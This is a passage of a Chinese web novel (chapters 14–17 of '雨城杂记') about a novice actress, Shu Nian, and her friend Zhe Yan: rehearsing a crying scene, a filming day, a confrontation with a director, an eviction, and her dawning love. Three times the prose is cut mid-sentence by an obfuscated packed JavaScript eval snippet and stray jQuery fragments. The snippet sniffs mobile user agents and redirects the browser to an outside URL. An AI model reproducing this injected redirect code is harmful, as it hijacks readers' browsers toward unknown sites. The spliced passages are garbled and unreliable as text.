“没什么,只是才刚开始演戏,为没经验这事犯愁。导演说我像块木头,我在焦虑该怎么才能演好。我尝试了很多次,但总是找不到情绪的爆发点,每次效果都很差。”
折琰将买来的饮料开了瓶递给她,和她一道往小区走。
“如果你需要,我可以试试和你搭戏,或许有个人陪着你会更有爆发力一些。”
14. 雨城杂记
舒念有些难以置信,不过办法再笨,总得试试才知道有没有效果,于是同意了折琰的提议。
“我最大的问题就是哭不出来,每次情绪都不到位,就算是后面用尽力气终于挤出眼泪了,也很奇怪,和角色完全不符。”
说着说着,舒念忽然叹了口气。
“今天因为这件事被导演骂了,他给我下了最后通牒,要是还演不好,他就要换人了。”
越往里面走光线越暗,折琰听完,有些疑惑:“你今天去了那么久,他们没和你签合同吗?”
舒念闻言,耸耸肩:“没有。他说要先看看我的镜头表现力和情绪爆发力,如果签了合同我也不会这么担心了。”
说话时二人已经到了小区最里面那栋楼,两人一边聊,一边往楼上走。楼梯间的灯忽明忽暗,舒念跺了好几次脚才把并不灵敏的声控灯唤亮,接着继续往里走。
楼道里什么都是旧的,墙壁脱皮变得斑驳,各式各样的电线悬在上方,途径一个个电箱后又盘旋着向上走。
越看,舒念越想快点搬家。
她不喜欢这里,不喜欢拥挤到无法并排下两个人的楼梯,不喜欢老掉牙的黄色灯泡,不喜欢狭窄的出租屋。
起初折琰一直没出声,跟着舒念上楼,直到后面舒念站在了自己家门前开始翻包找钥匙,他却拿着颗剥了糖纸的棒棒糖凑到舒念跟前。
“张嘴。”
舒念还没反应过来,被猝不及防塞了颗糖后偏头疑惑地望着他,愣了片刻后才发现刚刚到底发生了什么。
可另一位却露出个笑嘻嘻的表情:“吃完甜的就会高兴啦。”
她找钥匙的手停了一瞬,不知道为什么心头忽然发酸,强忍两秒又继续找钥匙。
在当别人背景板的那几年,从来没有人在乎过她的情绪,她只是个可有可无的人,需要她帮忙时就好言好语,不需要的时候就是空气,从不会被人主动提起。
久而久之,她开始从讨厌一个人,到慢慢适应一个人,以至于到后来有些害怕和人打交道,因为总觉得自己会将人际关系处理得一团糟。
折琰是除了她父母外,第一个能敏锐察觉到她所有情绪的人。
“我发现自从认识你之后,我也变得爱吃甜的了。”
舒念打开门后将客厅灯摁亮,随后半开玩笑地对他说。
对方双手插兜,对着她笑:“那很好啊,等以后我们都有钱了,我就能带你去甜品店大吃特吃。还能给你拍很多好看的照片。”
“那我要专点贵的。”她笑笑,去厨房倒水。
“行,你想点什么样的都行,只要你喜欢。”
折琰换上舒念准备的一次性拖鞋后,就跟着到了小茶几面前,上面摆开了好几页纸,每一页都有内容被荧光笔画上标记。
“这些…”
舒念倒好水出来,见他看着桌上铺开的纸,有些不好意思地解释:“我多印了一份,把需要情绪爆发的戏都用荧光笔涂出来了,今天走得急就没收拾。”
话题兜了一圈,又绕回最开始关于哭戏的那个原点。
折琰盯着花花绿绿的荧光笔标记沉思,整理好话语后对她说:“或许你听过,演员分为三派。#”
“第一是感受派,第二是技巧派。”
嘴里的糖已经化得差不多了,舒念看着散在桌上的剧本有些头大,听见这话眼睛一亮,托腮问他:“那第三个呢。”
折琰装模作样思考片刻,随后给了个答案。
“第三,就是依靠外力的那一派。”
舒念若有所思的点点头。换成人话,就是用眼药水。
“你呢,估计适应第一个。新人的技巧还没娴熟到眼泪秒落的地步,自然不可能让别人等你,更不可能用眼药水,这叫没牌硬耍。剩下的就是去体验,去感受。”
屋内灯亮着,却一闪一闪,像心跳,给人恰到好处的留白,给人足够的时间去思考。
舒念听完,觉得受用,可憋了半晌,却还是没憋出来半滴眼泪。
“我哭不出来,伤心事都想了一遍,还是办不到。”
闭上眼,学生时代的经历虽然已经被逐渐淡忘,但留下的东西在大脑深处刻下了深深的痕迹,每当想起时,尽管不在意了,但心脏还是会隐隐作痛。
舒念面对这些已经逐渐释怀,甚至早就过了会掉眼泪的年纪,如今想起这些,更多的是觉得麻木。
她共情以前的自己,时间却没给还手的能力,这些伤心事最终淡化成了潜意识,而表面的舒念,仍旧是那个温柔敏锐,笑容治愈的人。
“看着我的眼睛,靠近我。”
闭上眼的舒念正聚精会神调动全身上下每一处感观,但泪水不争气,依旧只在眼睛里微微打转。
声音传进耳朵里的那一瞬间,折琰顺手关了客厅里的灯,光线突然减弱,还没适应的舒念忽然间睁眼,对上那双在冷月下透着暖光的琥珀色眼睛。
她的眼睛还未适应光线,便只能凑近他,凝视他的眼睛。
五十厘米,二十厘米,十厘米。
距离在一点点靠近。
折琰看着她越凑越近的脸,一时间有些失神,大脑宕机片刻,但很快便反应过来,在理智全面崩塌的前一刻出声:“我替你考虑,你反过来认为我不理解你是吗。”
逼仄狭窄的出租屋内,氛围陡然间升温,舒念知道他是在对台词,这是剧本里的第一个大冲突,她作为主角,需要一边流着泪一边大声说话。
如果只是两句单纯的台词,舒念根本不会有反应,可现在面对的是他的眼睛,那一瞬间仿佛他就是男主角,是与自己相爱到极致,彼此了解对方到极致的人。
然后,男主角抛开了所有的外部条件,拼命想带女主逃离所谓的原生家庭。
就像是瞬间被女主角换魂了一般,眼泪顷刻间夺眶而出:“我不需要你的理解!我有我的节奏!算我求你,别把自己认为的好意强加在我身上好吗!”
情绪的爆发在台词说出口的那一刻到达顶峰,随后又断崖式下降,舒念吼出那两句台词时整个人都有些恍惚,结束后她像只泄气的皮球,机械地擦着眼泪。
如果说对戏时是女主角短暂附身,那现在就是女主角回去了,留下的还是那个她,那个普通却勇敢的舒念。
实验结束后,最先冷静下来的是折琰。
他将客厅的灯打开,那双眼睛在光线的衬托下再度变为琥珀色。
舒念与他的距离还是很近,近到能看清他的瞳色,近到能听见他的呼吸。
“我…我没吓到你吧。”
被情绪激得上了头,舒念只觉得脑子嗡嗡作响,便问了个稀奇古怪的问题。
折琰淡淡一笑:“没有。不过爆发力很好,这点出乎我意料。看来你不是哭不出来,没有情绪,是你的情绪没有被调动起来而已。”
桌上的水逐渐变冷,舒念一口气将剩下的半杯水喝光,随后扯了张纸,擦完嘴角才回:“那我就放心了。希望明天在拍摄现场也能做到。”
暮春时节,晚风柔和,透过窗户吹进来,拂过她的发梢,折琰看着她被风扬起的发丝,仿佛感受到某种引力,慢慢伸手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481617|201775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,最后停在她头上,轻轻拍了拍。
“我相信你。”
舒念眼睛里带着他的影,闻言微笑:“那我一定不辜负你的期待。对了,你什么时候拍戏,我想等空了去探班。”
“探班?”
折琰眼神里透出一丝疑惑。
舒念依旧双手托腮望着他:“怎么了,不能吗?我记得小演员没签保密协议的,只要保证不乱拍不乱跑,就能带人的。”
“不是因为这个。我们特约没什么机会见到群演,最多呢,就是在摄像机前露个面,说几句台词,保密协议对我们没什么用。”
他摇摇头,否认舒念的说辞。
这下勾起了她的好奇心,舒念将他凉掉的水又换了一杯,随后追着问:“那是为什么?不想让我去吗?”
她有些失落,抬眼看他,却看见那双满是笑意的眼睛,沮丧消失一半。最后的最后,她听见他说了两个字。
“秘密。”
……
次日雨城落了场绵密的雨,天上乌云密布,凉风浸透人的每一处骨髓。
舒念的拍摄地点在城中村的一处握手楼,晴天时就已只剩下一线天,更别说阴云密布的时候。
雨水顺着雨棚滴滴答答往下淌,随后任命地落在早已斑驳开裂的水泥路里。
因为角色需要,舒念只穿了件简单的纯白色吊带,配深咖色麻质短裤,头发随意地垂落在肩上,被风一带,扬起恰到好处的弧度。
天色暗,需要打灯,也需要反光板去调试光线角度,于是在开始拍摄之前,导演组特意为今天的拍摄去租了补光灯和反光板,与此同时,舒念也在楼下多站了一个多小时。
握手楼里不大进得来风,没有很冷,但站得久了也难免打两个喷嚏。
“动什么动什么,站好了,光线不好一会儿得重来不知道多少条。”
导演一见舒念动了,有些烦躁,板着脸把人训了一顿后继续对光。
舒念被吼一通,根本就不敢再动,只能僵在那盏小小的补光灯面前。
“行,这个光线不错,你等会儿就从楼上下来,然后男主角会站在下面等你,这地方很窄你们等会说台词的时候错开,你站前面一点。”
匆匆嘱咐完,导演便拿起摄像机站在不远处。
舒念不敢耽误,往楼上跑。没过几分钟,当今天的第一滴雨落在雨棚上面的时候,导演在下面喊了声开始。
男主角是个刚毕业不久的大学生,长得很标志,站在镜头前恰到好处。
他穿了件廉价到略微透光的白色T,配了条黑色直筒裤,脖子上挂了只头戴式耳机。
镜头里,时间在一秒一秒跳动,男主角的呼喊过后,舒念迈着轻快的步子从楼上走下来,眼睛里带着光。
“怎么啦,有事找我?”
她对着面前并不熟悉的人努力挤出尽量自然的微笑,但这一场,导演不满意。
沈御烦躁地揉揉眉心,刚想开口再将人训一顿,但想着舒念到底只是个新人,于是拿足了耐心对她说:“你表情实在太僵了。我在镜头里看着都觉得假,我知道你和他还不熟,要不试试代入?”
提到代入,舒念又猛然想起昨晚折琰和自己对台词的经历。
那种感觉真的很奇怪,明明只是看着他的眼睛,却有无数呼之欲出的话想说又说不出口,最后化作豆大的泪滴,将溢满的情绪带出眼眶。
“好,我再试试。”
舒念薅了把自己的头发,然后回到了刚才的位置。
可等这次再下来时,她看见的真是折琰。
15. 雨城杂记
冲下楼的那一瞬间,那双熟悉的眼睛便撞进舒念的视线里,化作逐渐疯狂的心跳。
因为是小成本拍摄,剧组没有封场,折琰很轻松就站在那盏补光灯的外围,看着和以往穿着打扮都完全不同的舒念。
摄像机还在继续录制,镜头面前的舒念不敢轻举妄动,只能匆匆地收回目光,随后继续表演。
“咔!”
台词念完后,沈御大喊一声,随后高兴地走过来拍拍舒念的肩。
“不错啊,见到男主角眼神略带一些躲闪,内心的慌乱这一点表达得很好,继续保持。”
舒念有些懵,随后才反应过来,沈御是把刚才她目光游离在折琰身上的那一瞬当成了镜头前恰到好处的表演。
她笑笑,随后拿出随身的镜子来理头发。
长头发很容易被风吹乱,因此她拍戏时随时带着梳子,方便自己保持造型。
“好了,收拾好了就快点过来,还得再拍,别磨蹭。”
舒念刚梳了没两下,就被沈御不耐烦地叫停,让她甚至没来得及和折琰说上一句话。
在人回到楼梯口前,折琰忍住不轻声提醒“梳子给我吧,你带的包比较小,我看已经不太放得下了。”
她把梳子递给他,随后露出微笑:“先等我,拍完和你一起吃饭。”
什么都来不及多问,很多话只能等着今天收工后再说。
“好,这一幕就是你昨天失败的,情绪爆发那一幕,这条如果过了今天就收工吧。”
舒念点点头。
现在是下午四点,如果这条拍得顺利,那舒念能省下很多时间,她会有空陪折琰一起吃晚饭,会有空和他一起在下雨的雨城闲逛。
雨势在这时逐渐变大,舒念抓住时机,开拍时猛地抬眼,泪珠混着雨滚下脸庞。
闭眼的那一瞬,她仿佛将自己塞回了昨晚那个情绪激动的躯壳当中,激动的情绪到了摄像机里,成了恰到好处的爆发。
“好!非常好!”
结束过后,沈御关掉摄像机,难得地对着舒念夸了几句。
“情绪处理很棒,明天先到公司先把合同签了,这样我们都放心。对了,等这个本拍完,下个本要去重庆,你准备一下。”
舒念听了这一连串话,顺从地点点头,随后简单跟沈御说几句,收拾东西离开了城中村。
钱不多,两人只能挤公交回去,雨依旧下着,舒念头发上细密的雨珠已经开始渗进更深的地方,但好在折琰一直撑着伞走在她旁边,头发没有湿得太狠,还能到处转转,顺带着吃个饭。
舒念戴着鸭舌帽,走在他旁边。
“你今天收工好早,我本来还想着等我收工要不要问你在哪,过来找你。”
舒念盯着眼前深浅不一的水洼,带着些自言自语的意味开口。
“我…没在那个剧组了,这个小角色在开拍前导演说我不合适……把我换了”
“什么?!被换了?”舒念原本还无聊地打了个哈欠,看着淅淅沥沥的雨天有些困意,听见这话,瞬间来了精神。
折琰点点头,表情里看不出任何难过的情绪。
“没事嘛,我要是当不成演员还能去干其他的,这只是人生中一件很小的事而已。”
话是这么说,但舒念不这么觉得。前两天聊天的时候折琰还跟她讲过,自己最大的梦想就是能当一名演员,能一直站在镜头前演戏,演到七老八十,演到自己没有精力为止。
“走,我和你一起去找他们,一定讨个说法。”
舒念声音很小,但异常坚定,以至于折琰都差点以为自己听错了。
伞上的雨珠一直往下淌,世界变成灰黑色,舒念以为他站在原地不动是没听清,于是认真地看着他的眼睛又重复一次。
“走,我陪你去讨个说法。”
“我们斗不过的,念念。他们既然决定了把我换掉,那就有千万种方法来让我们安静。”
折琰了解舒念,轴,一旦认定一件事,就算是你给她掰开揉碎了讲她也会坚定自己的立场,根本劝不住,但又不想让她去冒险,还是劝了一番。
下一刻果然如他所料,他便听见舒念开口:“不试试怎么知道。”
可其实舒念知道,折琰比她先入行跑龙套,私下里给她讲了很多剧组里发生的大小事,他说的规矩肯定没有假,但她还是想去试试。
一切都抵不过个万一。
剧组离这边并不远,两个人走路只花了不到二十分钟。
雨下得很大,剧组没有办法拍外景,可内景的场地还没协调下来,只能暂时收工,等着雨小一点或者明天雨停了再拍。
到的时候剧组正收拾着设备,给那些价值不菲的摄像机转移阵地,见到折琰回来,有人悄悄跑去导演身边通风报信。
不过两分钟,导演从棚子里出来,看到折琰,眼神里满是不耐烦:“哎呀我不都说了那个角色不适合你,你怎么又来了,别轴了,换个剧组试试吧。”
舒念一开始听见换人的这套说辞就在心里猜出了个七八分,这样的场面,几个月前她在温玉的服装工作室也受过同样的待遇。
她是站在折琰前面的,如果是以前,以她懦弱的性格肯定不想多事,可今天这场大雨似乎给了她勇气,让她能干自己一直想干的事。
“我看你们是临时塞了资方的人进来,觉得我朋友没背景没人脉好欺负是吧,明明早就定好了凭什么突然换人。”
舒念肩上披着折琰的外套,那是他怕她冷,特意给她的。鸭舌帽的帽檐压得很低,只露出精致白皙的下半张脸。
导演似乎也没想到这个小姑娘会直白的把一切都捅到明面上来,于是朝她翻了个白眼没好气地讲:“就是,怎么了,你有意见?你有意见就去找你家给关系进组啊,你要是有关系你也可以这样啊。有本事你去签约,你让资方来捧你,我保证跟你恭恭敬敬把你当姑奶奶供着,行吗。没钱没人脉你在这叭叭半天。”
“要不是看你长得不错早让人把你撵出去了。聒噪。”导演一边嘀咕着一边叫人保护设备,根本没理站在后面的舒念和折琰。
舒念听完这话气不打一处来,往常那些积攒的愤怒在此刻终于爆发:“你不是从普通人过来的?!你一来就是大导演?普通人凭自己努力…”
说话时折琰一直再拽她手腕,舒念说了一半才感
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481618|201775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
受到,停下后太阳穴突突直跳。
“滚不滚,再不滚我叫人了。你朋友一句话不说你在这多管什么闲事?”
导演将那些设备放到屋檐下淋不到雨的地方,随后恶狠狠剜了舒念一眼,骂道。
舒念还想再说,但被折琰拽走,没给她再说话的机会。
“公交站太远了,我们挤地铁回去行吗。”
公交站离这边太远,计划被临时打乱,恰好附近有个地铁站,原本的挤公交变成了挤地铁。
“为什么拉我走,你不想要公道了?”
折琰也知道自己今天不发一语的态度欠妥,于是出声解释:“念念,这个世界本就是不公平的,你想想看,他们能做出来就证明不怕我们去闹,我们急头白脸大闹一通不过是让他们看了个笑话,我不说话,想把你拽走是想劝你冷静,如果当时我和你一起闹,事情就会失控。当时在路上我就在劝你,我知道你想替我讨公道,但在娱乐圈里是没有公道可言的,资源倾斜是很正常事。”
“如果我们再闹,顶多是被人撵出去,是没办法讨回我们该有的东西的。而且业内的导演有些互相认识,消息是互通的。”
消息互通,就意味着今天的导演一旦把这事说给了业内其他人,那么除了签公司背后有人捧,干群演或者特约的路基本被堵死。
舒念擦了擦眼泪:“我…我只是替你委屈,你明明准备了这么久。至于其他的也没想这么多…”
“没关系的,在这个行业混,遇到这种情况是常有的事。比起我委屈,我更不想看到你掉眼泪。”
说着,他伸手想从穿在舒念身上的外套里拿糖出来,但转念一想,手又收了回来:“走,今天吃点甜的,吃完心情会好点。”
舒念有些错愕,抬起还带着水汽的眼睛看他。
“我是有事跟你讲。”折琰见她情绪逐渐稳定下来,这才开口对她说。
两人在地铁站附近找了个咖啡馆,破天荒点了好多甜的东西,盘子小碗摆满了那张不大的白铁圆桌。
舒念的情绪完全冷静下来,在等甜品上桌的间隙问他:“什么事啊,这么神秘。”
“也没什么大事,就是我有个朋友在筹备我们这一届毕业的校友会,他没有你的联系方式,让我问问你愿不愿意去,如果愿意的话到时候我就把时间和地点给你。”
舒念将帽子摘下来放在旁边,听见这话,原本正准备收回的手微不可查地顿了一下,随后又若无其事地收回来。
“没事,你要是不去的话,我跟他说一声就是,我也不去,到时候我们还可以一起吃个晚饭。”
他本就是在问舒念的意见,如果舒念不想去,他自己一个人也不愿意去,两人一起还能互相陪伴着吃个晚饭。
舒念想了想,罕见地答应了这次邀请:“我要去,当年自己胆子小,现在我不想再这样了,我不想再退缩。”
她讨厌和人打交道,甚至到了人多的饭局会不自觉紧张,可这届校友会她要去,不为别的,只为了向高中时的那个自己证明。
“你看,你也在慢慢改变。”
心声不知从何处飘起,飘啊飘,飘进了舒念的耳朵。
16. 雨城杂记
从咖啡馆出来时雨已经停了,天色依旧暗沉沉的,大片大片的积雨云往西漫游,将原本应该出现的太阳光挡了个严实。
雨城的雨似乎永远没有尽头。
搬家的事拖了好一段时间,现在和榉树的合同已经敲定,也是时候将这事提上日程,只是舒念怎么也没想到,自己会被房东以极其粗暴的方式催退房。
房租是今天到期,但对面还没有搬走,需要等一段时间,最快后天搬过去。
可令人意外的是,她刚上楼就看见了自己门口堆了一堆东西。
声控灯没亮,起初舒念还以为是谁把东西放错了地方,或者是对面新搬来了租户东西太多于是堆着堆着就到了自己房门口。
等到这个狭窄的楼梯间亮起声控灯的那一瞬,她和站在楼梯上的折琰皆是一惊,随后才明白过来自己是被赶出去了。
衣服裤子床单被罩,牙膏牙刷洗面奶,杯子盘子和几只碗,以及几个装满了杂物的箱子,里面放着充电宝充电线还有她用来看剧的平板。
所有的家当都堆在了这里,房间里什么也不剩。
舒念还想跨过杂物从包里翻钥匙开门,最后钥匙在锁孔外转了好一阵却依旧插不进去,她这才意识到房东把锁换了。
“不行,我得给他打个电话。”
舒念自言自语,一边说一边掏出手机翻着通讯录。
电话响了好几声才被接,那头的房东正喝着酒,接电话的声音充满了不耐烦。
“喂?!谁啊,打电话干嘛,喝酒呢,啥事情不能明天再说。”
舒念听见这声音,隔着屏幕仿佛都闻到了酒气,生气地对着听筒那头开口:“大叔啊,你把我房间锁换了,我找好的另一套房子租客要后天再退租,你这样我今晚没地方住啊。”
对面醉醺醺的,知道是舒念这个小姑娘找他,于是更肆无忌惮:“我管你住哪,找个旅馆,要么找个酒店,或者去你朋友家凑合一晚,实在不行你找个男的养你呗,哪那么多事…”
舒念被这最后一句话气到结巴:“不是,我现在…”
她越听越气,好不容易脑子准备好,想开足火力继续和对方掰扯上十个来回,对面却嘟地一声挂了电话,让人白白生了顿闷气。
打电话的时间里,折琰已经帮她整理好了东西,乱堆在楼梯间的杂物已经收拾得差不多,都规规矩矩地摆放在那几个原本那几个杂乱的箱子里。
她凑近一看,箱子里的东西已经码放得整整齐齐。
“都……都整理好了?!”
舒念很吃惊,自言自语地嘀咕着。
“还剩最后一个箱子没理,短时间也只能先这样。现在外面又开始下雨了,我想着整理好后先搬到我家,如果你想住宾馆也方便点。当然,也能来我家…只是由我来提的话不太合适。”
舒念明白他的意思,于是顺着说先把东西暂时搬去他家,然后出门去找宾馆。
商定完决策后,舒念抱起箱子去了折琰家。
他家在楼道尽头,一梯四户,走廊很窄,走两步就能到。
“先进来吧,东西随便放,到时候我会请搬家公司把东西送去你的新地址。”
折琰抱着三个箱子,没来得及换鞋,就将箱子堆在原本不大的客厅里。
平时保持整洁才能空出来的小空间,现在被好几个箱子一摞,立刻变得拥挤起来。
舒念也将箱子放在旁边,随后抬眼看到了客厅全貌。
房间格局和舒念家的很像,但东西少,显得简单很多,深蓝色床帘,黑色小沙发,白色茶几,对面就是一眼能看见的厨房。
折琰见她好奇,笑道:“是不是很简陋,跟你家完全不一样。”
舒念连忙摇摇头:“怎么会,我家就是东西太多,所以显得比较杂乱,我反倒很喜欢这种简约风,可惜就算收拾出来了也没办法保持。”
她说完,有些不好意思地耸耸肩,双手摊开做出一副无奈的表情。
折琰给她倒了杯水,继续开玩笑:“那你需要一个合格的全自动机器,能帮你解决所有问题。”
舒念无聊,蹲在箱子旁漫无目的地翻着,将捧哏进行到底:“等我以后做了大演员,赚够我现在几辈子都赚不够的钱,我就去买一个,不要那种需要人操控的机器,要那种全自动机器人。”
“不过,能不能走到那一步得另说了。”
想着想着,她忽然想到了这一层。
折琰稳稳接住了她的情绪,以极耐心的语气开口:“这个世界有太多的不确定性,明天会怎么样,谁能说得准呢。我之前见过一个主演,也是从群演一步步爬上来的,吃了很多苦,但也确实收货了很多普通人没办法得到的东西,梦想总是要有的,万一哪天就实现了。”
舒念浅浅一笑:“也对,明天谁都说不准,未来怎么样得由自己决定。”
她一边说着,手上无聊翻箱子的动作却没停,话说完的那一瞬,她也宿命般地摸到了只触感冰凉的玻璃瓶子。
折琰以为她是要找什么重要的东西,或者确认今天被扔出来的物品有没有丢失,刚想给她个小凳子,就见她眼神一变,随后慌乱地将手抽出来。
“怎么了?东西丢了?”
折琰不问还好,一问,舒念的心跳就止不住地加速。
“没…没有,看到以前的同学录了。”
舒念嘴一急,编了个最离谱的理由。
她从不写同学录,因为就算是带着笑脸给全班同学发一张,得到的结果也只会是几句敷衍的话,所以折琰能听出来她在撒谎,但他没有拆穿。
“东西没丢就好,明天搬家后再清点一遍,如果丢了就找房东,实在说不通我帮你报警,找警察来。”
舒念知道自己的谎言就像个不切实际的彩色泡泡,被人一看就破,所以她没再说话,只是心虚地点点头。
窗外的云淡了又浓,循环往复,将雨城的天换了无数遍,雨丝淅淅沥沥打在外面的遮阳棚上,给原本坚固的钢铁留下斑驳陆离的锈迹。
舒念没在折琰家坐太久,水凉透的时候,她出门到附近找了家旅馆,五十一晚,算是有了个睡觉的地方。
雨天本适合睡觉,但舒念罕见地失眠,翻来翻来覆去就是睡不着,脑海里又开始出现刚才手指触到瓶子的画面。
如果是在家,自己可能不会察觉出来摸到的是什么,但当时折琰就在旁边,想不察觉都难。
她清楚那不是别的,恰好是那瓶早已过期的粉色波子汽水。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481619|201775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…
搬家公司将东西送到舒念新租的房子里时,是第二天下午,那时她恰好刚收工回来,正慢吞吞整理着自己的东西。
新房子和以前的差不多大,房租虽然便宜,但和以前在市中心,交通方便的房子不能相提并论,不过好在房东阿姨是个很好说话的人,舒念便觉得无所谓。
雨依旧下,不但没减小的迹象,反倒一天比一天大,搬进来的箱子上还挂着湿哒哒的水珠。
天色越来越暗,到了晚上七八点,东西已经收拾得差不多,只剩下最后一个堆在角落里的箱子,里面装着那瓶当时烫手的波子汽水。
客厅的白炽灯泡不够亮,撒下来的光只够大概看清楚东西,她拿出那瓶波子汽水,仔仔细细端详了好久。
汽水在两三年前就已经过期了,玻璃瓶上的标签也开始泛黄,只留下瓶子里的汽水颜色依旧鲜艳,舒念看着这瓶早就过期的汽水,沉思良久,在某一个瞬间意识到了什么。
之前她渴望友谊,渴望有个人能无条件地站在自己这边,能接住自己所有的坏情绪,毫无保留的安慰自己。
折琰做到了,他会像最好的朋友一样开导她,会在她难过时猝不及防地塞给她一颗糖,一来二去,她对折琰的感情怪到了一种常人难以理解的地步。
她将他当做了朋友。
所有的一切似乎都得到了合理的解释,所有的假设都顺理成章的成立了。
可今天看到这瓶汽水,她开始忍不住地去重新思考两人之间到底是什么样的距离。
玻璃瓶不知不觉被手心的温度捂热,舒念思考了很久,却没有半点头绪,或许对她来讲,现在这样就是最好的状态。
或许当年是有一丝喜欢,藏在她十七岁的少女心事里,但现在喜欢好像随着这瓶汽水一起过了期,取而代之的是平静,是依赖。
她习惯了折琰的存在,习惯了他陪自己吃饭,习惯了两个人一起挤公交回家,习惯了有他在帮忙,自己可以少做很多事。
所以,或许在学生时代的那份喜欢慢慢过期,凝聚成了别的东西。
箱子里的东西一件件被摆回该去的位置,当舒念胡思乱想地拿出最后一个摆件时,却发现上面飘着淡黄色张便利贴。
便利贴质量不好,很容易掉,但成色很新,就像是有人刚贴上去不久就掉了的。
她一头雾水地捡起来,在看清字迹的那一瞬间,眼睛氤氲上一层薄薄的雾,大脑茅塞顿开,刚才苦思冥想的问题得到了最新鲜的答案。
便利贴上是用黑色签字笔写的字,不算好看,但舒念知道那是折琰的笔迹。
[汽水已经过期没办法喝了,改天送你瓶新的]
字的末尾,画了个笨拙得不能再笨拙的微笑表情,在旁人眼里极具挑衅意味的表情,到了舒念这里,有着完全不同的意思。
她看着那张便利贴,情绪复杂地扬起嘴角。
原来自己昨晚的演技那么拙劣,折琰虽然在她旁边,但个子比她高出一截,早就看清楚了箱子里显眼的粉色汽水,于是趁着今早帮她搬家时,偷偷贴了张便利贴上去。
到这时她才想明白,不是喜欢过了期,而是学生时的喜欢千丝万缕聚在一起,升温成了爱意。
17. 雨城杂记
光线昏暗,舒念手边的玻璃瓶不停地带上掌心温度,又不停地凉掉,就这样沉默地过了不知道多久。
直到手机响了。
出人意料的是,打电话来的并不是折琰,而是梁听雾。
电话刚接通,对面就咋咋呼呼地开口:“念念我项目终于要结束了!我已经买好了回雨城的车票,等着回来参加校友会。”
噼里啪啦说了一大通,梁听雾发觉听筒里一直很安静,于是收起了刚才热烈的情绪:“怎么啦念念,不开心吗?校友会你应该不会去的,那到时候我也跟班长说一声吧,反正这个我不去也行。”
“我没有不开心,校友会也会去,只是…只是我今晚突然想明白了一件事。”
舒念会去校友会这个劲爆消息到了梁听雾眼里已经不值一提,现在她最好奇的还是舒念到底想明白了什么。
“什么?舒念同学,你又想明白什么大道理啦?”
舒念听见这话忍不住笑,随后又正经起来:“我是觉得,我以前一直认为和折琰的关系就只是简单的朋友而已。但今晚我好像想明白了,事情不是这样的。”
“我之所以会产生这种错觉,可能是因为对陪伴的渴望。”
这事很久以前舒念就跟梁听雾讲过。
那时候班里流行看杂志,在某篇漫画的末尾,有这样一句话。
人如果孤独到了一定程度,就会发疯似的渴望陪伴,会把周遭的一切情感都幻化成友谊。#
梁听雾偶然看到,就好奇地问舒念是不是真的,可当时的舒念也不清楚,只能迷迷糊糊地点头。
现在看来,杂志上的话并没有错。
“其实呢,从你平常和我聊天透露的信息来讲,折琰对你的感情绝对不仅仅是喜欢这么简单,只是你之前没有什么动静,我也就当没发现。”梁听雾在电话那头老实说。
“那现在呢,我该怎么做,我不想让他认为我只是个消耗好情绪的机器,我想乐观一点,开朗一点,但我发现我好像做不到。我现在想试试,人总要变得积极一点。”
爱会让人甘愿改变,变得更积极,变得想把乐观情绪带给那个对自己来说最重要的人。
“人的性格本来就是多样化的,有积极的自然也会有消极的,没有必要去为了谁而改变自己,如果他真的足够了解你,又怎么会不能容忍你的情绪呢。你现在需要做的就是学会把从他身上得到的正面情绪进行保留和输出,而不是为了积极去积极。”
最后这句话舒念完全听进去了,将所有的正面情绪自己吸收,并且输出。
只有这样,才会在没必要改变自己本性的前提下去做一个足够开朗的人。
“如果你对他也有不一样的感觉,可是试着去回馈,在爱别人的同时也学会爱自己。”
电话另一边,梁听雾慢慢地表达出自己的想法。
这段时间舒念的思想一直处于很矛盾的状态,今晚和梁听雾聊天才知道,原来爱是需要输入和输出的。
当别人对你的爱意达到了一定的程度,回馈就成了件再正常不过的事。
“我明白了婷婷,谢谢你给我讲这么多,我会试试看的。你大概几号到雨城,我到机场去接你,我俩好久没聚了,你回来我请你吃饭。”
梁听雾又恢复了那副最初咋咋呼呼的样子,对着听筒狡黠地笑:“我五月五号就回来了,到时候记得请我吃火锅。”
“行呀,就当是庆祝你项目顺利完成,接下来是不是要回学校处理其他事了?”
舒念应下梁听雾的要求,接着追问。
“嗯,差不多吧,来找你玩几天,然后就要回学校忙其他事,之后再回实验室处理其他事情。”
电话上的通话时长在一点点往前跳,十五,二十,到最后三十,四十五。
最后,时间彻底停在五十,聊天也就此结束。
明明是个很普通的晚上,一次很普通的和朋友聊天,舒念,最后却久久不能平静,直到收拾完在床上躺了很久,她才鼓起勇气点开了和折琰的聊天框。
[Pluiedemétéorites:明天有空吗,我要去重庆一趟,出发之前想请你吃个饭。]
